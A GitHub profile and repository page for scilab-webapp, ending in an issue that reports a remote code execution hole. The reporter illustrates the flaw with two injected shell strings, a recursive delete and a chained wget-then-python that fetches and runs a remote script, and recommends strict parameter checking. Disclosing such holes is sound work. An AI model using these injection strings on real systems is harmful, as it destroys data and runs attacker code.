jcatumba / scilab-webapp

Scilab-WebApp is a work in progress. Feel free to participate

Hi there 👋

I'm Jorge Catumba-Ruiz

Mathematician, Data Engineer, Data Analyst and Data Scientist.

• 🔭 I’m currently working at Softtek as Data Scientist.
• 🌱 I’m currently learning Databricks, Delta Lake, Apache Spark, Apache Airflow and Apache Kafka.
• ☎️ Ask me about mathematics, statistics and algorithms.

My papers

• Hydrological system modeling: Approach for analysis with dynamical systems
• A hybrid optimization method for reallocation of mobile resources
• Application of complex networks and indirect influences to non-forced migration
• A first approach to a hybrid algorithm for mobile emergency resources allocation
• Boolean differential operators

My technologies

My Github Public Stats

scilab-webapp's Issues

Remote Code Execution

I don't know if these files are accessible from the Internet (or if web server replies with a 403), but this entire file potentially leads to remote code execution.
One might just

rm ../+../../../../+../ -Rf

or get creative and then

rm ../+./+someunexistingfile && wget evilscript && python evilscript and etc.

You should restrict params and strictly check them before execution. Hope it helps.